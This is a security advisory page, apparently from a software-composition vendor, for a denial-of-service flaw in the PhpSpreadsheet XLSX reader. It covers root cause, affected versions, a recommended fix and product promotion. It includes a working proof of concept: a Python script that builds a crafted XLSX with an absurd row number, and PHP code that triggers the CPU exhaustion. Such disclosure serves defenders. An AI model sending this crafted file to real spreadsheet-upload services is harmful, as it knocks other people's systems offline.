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GHSA-7c6m-4442-2x6m

HIGH

GHSA-7c6m-4442-2x6m is a high-severity (CVSS 7.5) CWE-770 vulnerability in phpoffice/phpspreadsheet. O3 Security confirms whether GHSA-7c6m-4442-2x6m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Also known asCVE-2026-40902
Published
Apr 29, 2026
Updated
May 13, 2026
Affected
5 pkgs
Patched
5 / 5
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk32th percentile0.00%
0.00%0.30%0.60%0.90%0.1%0.4%0.4%0.4%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

5 pkgs affected
🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistphpoffice/phpspreadsheet4.0.0&&< 5.7.05.7.0
🐘Packagistphpoffice/phpspreadsheet3.3.0&&< 3.10.53.10.5
🐘Packagistphpoffice/phpspreadsheet2.2.0&&< 2.4.52.4.5
🐘Packagistphpoffice/phpspreadsheet2.0.0&&< 2.1.162.1.16
🐘Packagistphpoffice/phpspreadsheetall versions1.30.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7c6m-4442-2x6m is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7c6m-4442-2x6m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7c6m-4442-2x6m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The XLSX reader's `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `<row r="999999999"/>` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. ## Details In `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML wit
O3 Security · Impact-Aware SCA

Is GHSA-7c6m-4442-2x6m in your dependencies?

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